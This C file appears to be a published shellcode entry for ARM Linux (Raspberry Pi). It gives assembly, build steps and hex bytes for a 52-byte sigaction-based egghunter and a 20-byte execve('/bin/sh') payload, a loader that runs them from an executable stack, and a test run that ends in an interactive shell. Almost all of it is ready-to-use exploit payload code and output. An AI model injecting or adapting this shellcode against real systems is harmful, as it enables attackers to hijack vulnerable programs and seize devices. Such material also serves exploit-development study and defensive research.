130 lines
No EOL
3.3 KiB
C
130 lines
No EOL
3.3 KiB
C
/*
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# Title: Linux/ARM - sigaction() Based Egghunter (PWN!) + execve("/bin/sh", NULL, NULL) Shellcode (52 Bytes)
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# Date: 2018-09-24
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# Tested: armv7l (Raspberry Pi 3 Model B+)
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# Author: Ken Kitahara
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[System Information]
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pi@raspberrypi:~ $ uname -a
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Linux raspberrypi 4.14.52-v7+ #1123 SMP Wed Jun 27 17:35:49 BST 2018 armv7l GNU/Linux
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pi@raspberrypi:~ $ lsb_release -a
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No LSB modules are available.
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Distributor ID: Raspbian
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Description: Raspbian GNU/Linux 9.4 (stretch)
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Release: 9.4
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Codename: stretch
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pi@raspberrypi:~ $
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[Procedure]
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(1) Create main shellcode in THUMB state. This PoC's example is execve("/bin/sh", NULL, NULL) shellcode. (20 Bytes)
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pi@raspberrypi:~ $ cat shell.s
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.section .text
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.global _start
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_start:
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.THUMB
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// execve("/bin/sh", NULL, NULL)
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adr r0, spawn
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eor r1, r1, r1
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eor r2, r2, r2
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strb r2, [r0, #endline-spawn-1]
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mov r7, #11
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svc #1
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spawn:
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.ascii "/bin/shX"
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endline:
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pi@raspberrypi:~ $ as -o shell.o shell.s && ld -N -o shell shell.o
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pi@raspberrypi:~ $ objcopy -O binary shell shell.bin
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pi@raspberrypi:~ $ hexdump -v -e '"\\""x" 1/1 "%02x" ""' shell.bin && echo
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\x02\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x58
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pi@raspberrypi:~ $
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(2) Create egghunting shellcode. (52 Bytes)
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pi@raspberrypi:~ $ cat egghunter.s
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.section .text
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.global _start
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_start:
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.ARM
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add lr, pc, #1
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bx lr
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.THUMB
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eor r1, r1, r1
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mov r3, #0xff
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page_align:
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orr r1, r3
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ldr r4, egg
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next_addr:
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mov r7, #0x43
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add r1, r1, #1
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svc #1
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sub r7, r7, #0x51
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cmp r0, r7
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beq page_align
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ldr r2, [r1]
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cmp r2, r4
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bne next_addr
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add r1, #4
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ldr r2, [r1]
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cmp r2, r4
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bne next_addr
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add r1, #4
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mov pc, r1
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eor r7, r7, r7
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egg:
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.ascii "PWN!"
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pi@raspberrypi:~ $ as -o egghunter.o egghunter.s && ld -N -o egghunter egghunter.o
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pi@raspberrypi:~ $ objcopy -O binary egghunter egghunter.bin
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pi@raspberrypi:~ $ hexdump -v -e '"\\""x" 1/1 "%02x" ""' egghunter.bin && echo
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\x01\xe0\x8f\xe2\x1e\xff\x2f\xe1\x49\x40\xff\x23\x19\x43\x08\x4c\x43\x27\x01\x31\x01\xdf\x51\x3f\xb8\x42\xf7\xd0\x0a\x68\xa2\x42\xf6\xd1\x04\x31\x0a\x68\xa2\x42\xf2\xd1\x04\x31\x8f\x46\x7f\x40\x50\x57\x4e\x21
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pi@raspberrypi:~ $
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[Operation Test]
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pi@raspberrypi:~ $ gcc -fno-stack-protector -z execstack loader.c -o loader
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pi@raspberrypi:~ $ ./loader
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Egghunting Shellcode Length: 52
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Shellcode Length: 28
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$ id
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uid=1000(pi) gid=1000(pi) groups=1000(pi),4(adm),20(dialout),24(cdrom),27(sudo),29(audio),44(video),46(plugdev),60(games),100(users),101(input),108(netdev),997(gpio),998(i2c),999(spi)
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$ exit
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pi@raspberrypi:~ $
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*/
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#include<stdio.h>
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#include<string.h>
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unsigned char shell[] = \
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// Egg Tag (4 Bytes * 2)
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"PWN!PWN!"
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// execve("/bin/sh", NULL, NULL) Shellcode (20 Bytes)
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"\x02\xa0\x49\x40\x52\x40\xc2\x71"
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"\x0b\x27\x01\xdf\x2f\x62\x69\x6e"
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"\x2f\x73\x68\x58";
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// Egghunting Shellcode (52 Bytes)
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unsigned char sc[] = \
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"\x01\xe0\x8f\xe2\x1e\xff\x2f\xe1"
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"\x49\x40\xff\x23\x19\x43\x08\x4c"
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"\x43\x27\x01\x31\x01\xdf\x51\x3f"
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"\xb8\x42\xf7\xd0\x0a\x68\xa2\x42"
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"\xf6\xd1\x04\x31\x0a\x68\xa2\x42"
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"\xf2\xd1\x04\x31\x8f\x46\x7f\x40"
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"\x50\x57\x4e\x21";
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void main()
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{
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printf("Egghunting Shellcode Length: %d\n", strlen(sc));
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printf("Shellcode Length: %d\n", strlen(shell));
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int (*ret)() = (int(*)())sc;
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ret();
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} |